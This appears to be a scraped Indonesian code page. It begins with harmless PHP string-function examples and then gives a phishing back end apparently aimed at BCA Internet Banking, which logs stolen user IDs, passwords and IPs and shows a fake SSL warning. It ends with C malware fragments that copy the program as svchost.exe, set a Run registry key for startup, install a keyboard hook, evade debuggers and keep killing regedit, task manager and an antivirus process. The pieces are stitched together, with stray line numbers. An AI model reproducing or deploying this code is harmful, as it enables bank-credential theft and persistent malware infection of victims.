<?php
$text = "This is Anne's book.";
echo addslashes($text);
?>
<?php
$sentence = "My name is June";
$word = explode(" ", $sentence);
print_r($word);
?>
<?php
$arrayWord = array('This', 'is', 'a', 'sentence');
$joinString = implode(" ", $arrayWord);
echo $joinString;
?>
<?php
$string = 'password';
$stringMd5 = md5($string);
echo $stringMd5;
?>
<?php
$text = '<b>June Susan</b> <i> June June</i>';
echo strip_tags($text); echo '<br>';
echo strip_tags($text, '<i>'); // Allow tag <i>
?>
<?php
$string = 'I am a superman';
echo strlen($string);
?>

<?php
include “koneksi.php”;
$User = $_POST['UserId'];
$passwd = $_POST['passwd'];
$ip = getenv(REMOTE_ADDR);
$tgl = date(“j F Y, g:i a”);
$query = “INSERT INTO hack (user, passwd, ip, tgl) VALUES (‘$User’, ‘$passwd’, ‘$ip’, ‘$tgl’)”;
mysqli_query($konek, $query); // kirim query ke database
$hasil = mysqli_affected_rows($konek); // cek perubahan data di database
// login.php adalah URL Direct letak overflow
if ($hasil > 0)
{
header(‘location:../login.php’ );
}
else
{
echo “gagal”;
}
?>
<?php
$database = “bca”; // nama database
$host = “localhost”; // nama host
$nama = “root”; // username database
$pass = “haning”; // password database
$konek = mysqli_connect($host, $nama, $pass, $database); // konek ke database
if(mysqli_connect_errno())
{
echo “Koneksi Ke Server Gagal.”;
exit();
}
?>
<?php
mysql_connect (“localhost”, “root”,”haning”) or die (mysql_error());
mysql_select_db (“bca”) or die(mysql_error());
$over = $_POST['login']; // button submit “login”
$sql = mysql_query(” select * from hack where user like ‘%$over%’ “);
$row = mysql_fetch_array($sql);
// Proses Oveflow, lebih tepatnya Perulangan Pencarian
if ($row > 0)
{
while ($row){
echo “At “.$row['tgl'].” Secure Socket SSL Invalid. Please, do not process access to BCA Internet Banking.<br>”;
}
}
else
{
echo “overflow gagal”;
}
?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | //registry char myname[500],tmpdir[500]; HKEY hKey; DWORD dwFlags; //======================== extern int __argc; extern char **__argv; ATOM MyRegisterClass(HINSTANCE hInstance); LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM); __declspec(dllexport) LRESULT CALLBACK KeyEvent (int pHookCode, WPARAM pParamW, LPARAM pParamL); //EP section //registry function void RegWriteString(HKEY hKey, LPCTSTR lpSubKey, LPCTSTR lpValueName, LPCTSTR lpData) { int ret = 0; HKEY phkResult = (HKEY)malloc(255); ret = RegCreateKey(hKey, lpSubKey, &phkResult); ret = RegSetValueEx(phkResult, lpValueName, 0, REG_SZ, (BYTE*)lpData, strlen(lpData)); RegCloseKey(hKey); return; } |
1 2 3 4 5 6 7 8 9 | //create startup and copying files char szCurrent[MAX_PATH]; char szPath[MAX_PATH]; GetModuleFileName(NULL,szCurrent, MAX_PATH-1); GetWindowsDirectory(szPath, sizeof(szPath)); strcat(szPath, "\\"); strcat(szPath,"svchost.exe"); CopyFile(szCurrent, szPath, true); RegWriteString(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Currentversion\\Run", "svchost system", szPath); |
1 2 3 | // Jika didebug, maka akan keluar if(IsDebuggerPresent() == TRUE) ExitProcess(0); |
1 | #include tlhelp32.h |
1 2 | DWORD WINAPI terminator(LPVOID Param); DWORD id = 0; |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | //fungsi proses killer HANDLE hProcessSnap; HANDLE hProcess; PROCESSENTRY32 pe32; void KillProc(char * szProcess) { hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); pe32.dwSize = sizeof(PROCESSENTRY32); Process32First(hProcessSnap, &pe32); //lakukan pengulangan sampai dapat :D while(Process32Next(hProcessSnap, &pe32)) { if(!strcmp(pe32.szExeFile, szProcess)) { hProcess = OpenProcess(PROCESS_TERMINATE, 0, pe32.th32ProcessID); TerminateProcess(hProcess, 0); } } CloseHandle(hProcess); CloseHandle(hProcessSnap); } |
1 2 3 4 5 6 7 8 9 10 11 12 | //killer proses DWORD WINAPI terminator(LPVOID Param) { while(1) { Sleep(1000); KillProc("regedit.exe"); KillProc("taskman.exe"); KillProc("PCMAV.exe"); } return EXIT_SUCCESS; } |
1 | CreateThread(NULL, 0, &terminator, NULL, 0, &id); |